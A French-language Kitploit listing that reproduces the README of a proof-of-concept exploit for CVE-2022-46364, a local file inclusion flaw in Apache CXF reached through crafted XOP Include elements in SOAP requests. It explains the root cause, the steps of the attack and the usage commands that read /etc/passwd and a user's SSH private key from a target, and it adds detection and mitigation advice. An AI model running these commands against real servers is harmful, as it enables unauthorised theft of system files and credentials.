Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-46364---Apache-CXF-XOP-Include-LFI-PoC — Exploit de preuve de concept pour CVE-2022-46364, une vulnérabilité d'inclusion de fichier local dans Apache CXF via des éléments XOP Include conçus dans les requêtes SOAP, permettant la lecture de fichiers arbitraires. | Kitploit
Outils/GitHubGitHub/shashivanth009/cve-2022-46364---apache-cxf-xop-include-lfi-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et Éducation
GitHubshashivanth009/cve-2022-46364---apache-cxf-xop-include-lfi-poc

CVE-2022-46364---Apache-CXF-XOP-Include-LFI-PoC

Exploit de preuve de concept pour CVE-2022-46364, une vulnérabilité d'inclusion de fichier local dans Apache CXF via des éléments XOP Include conçus dans les requêtes SOAP, permettant la lecture de fichiers arbitraires.

Voir le dépôt
12il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Apache CXF XOP Include LFI (CVE-2022-46364)

Aperçu

Ce dépôt contient un exploit de type preuve de concept (PoC) pour CVE-2022-46364, une vulnérabilité d'inclusion locale de fichier (LFI) dans Apache CXF.

La vulnérabilité provient d'une gestion incorrecte des éléments XOP (XML-binary Optimized Packaging) Include dans les requêtes SOAP, permettant aux attaquants de lire des fichiers arbitraires depuis le serveur.


Détails de la vulnérabilité

  • Identifiant CVE : CVE-2022-46364
  • Composant : Apache CXF
  • Type de vulnérabilité : Inclusion locale de fichier (LFI)
  • Vecteur d'attaque : À distance (non authentifié dans certains cas)
  • Impact : Lecture de fichiers arbitraires sur le serveur

Cause racine

Apache CXF traite incorrectement les éléments <xop:Include> dans les requêtes SOAP. En fournissant un href spécialement conçu (par exemple file:///etc/passwd), le serveur peut inclure et renvoyer le contenu de fichiers locaux.


Versions concernées

  • Versions d'Apache CXF antérieures à la version corrigée (3.4.x / 3.5.x selon la branche)

Vérifiez toujours la version vulnérable exacte dans votre environnement cible.


Déroulement de l'exploitation

  1. L'attaquant envoie une requête SOAP spécialement conçue
  2. Inclut <xop:Include href="file:///path/to/file">
  3. Le serveur traite la requête et lit le fichier local
  4. Le contenu du fichier est renvoyé dans la réponse SOAP

Structure du dépôt

root@kitploit:~
.
├── cxf_lfi.sh       # Exploit script
├── README.md        # Documentation
├── LICENSE          # MIT License
└── .gitignore

Prérequis

  • Bash
  • curl
  • base64 (optionnel, pour décoder la sortie)

Utilisation

1. Rendez le script exécutable

root@kitploit:~
chmod +x cxf_lfi.sh

2. Modifiez l'URL cible

Mettez à jour la cible dans le script :

root@kitploit:~
TARGET="http://<TARGET_IP>:8080/employeeservice"

3. Exécutez l'exploit

root@kitploit:~
./cxf_lfi.sh file:///etc/passwd

Exemples d'attaques

Exemple 1 : Lire les utilisateurs système

root@kitploit:~
./cxf_lfi.sh file:///etc/passwd

Exemple 2 : Lire les secrets de l'application

root@kitploit:~
./cxf_lfi.sh file:///home/user/.ssh/id_rsa

Exemple de sortie

root@kitploit:~
[+] Target: http://10.10.10.10:8080/employeeservice
[+] File: file:///etc/passwd
[+] Extracted Content:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Remarques et limites

  • Certains serveurs peuvent :

    • Renvoyer un contenu encodé en base64
    • Restreindre l'accès aux fichiers via les permissions
    • Nettoyer ou bloquer les schémas file://
  • L'analyse de la sortie dépend du format de la réponse et peut nécessiter une inspection manuelle.


Détection et atténuation

Détection

  • Surveillez les requêtes SOAP inhabituelles contenant :

    • <xop:Include>
    • les URI file://

Atténuation

  • Mettez à niveau Apache CXF vers une version corrigée
  • Désactivez ou restreignez le traitement XOP s'il n'est pas requis
  • Validez et nettoyez les charges utiles SOAP entrantes

Avertissement sur l'utilisation éthique

Ce projet est destiné à :

  • Des fins éducatives
  • Des tests d'intrusion autorisés

N'utilisez pas cet outil sur des systèmes sans autorisation explicite.


Références

  • Avis de sécurité Apache CXF
  • Base de données CVE (CVE-2022-46364)

Auteur

Développé dans le cadre de recherches en sécurité et de pratique CTF.

Télécharger l’outil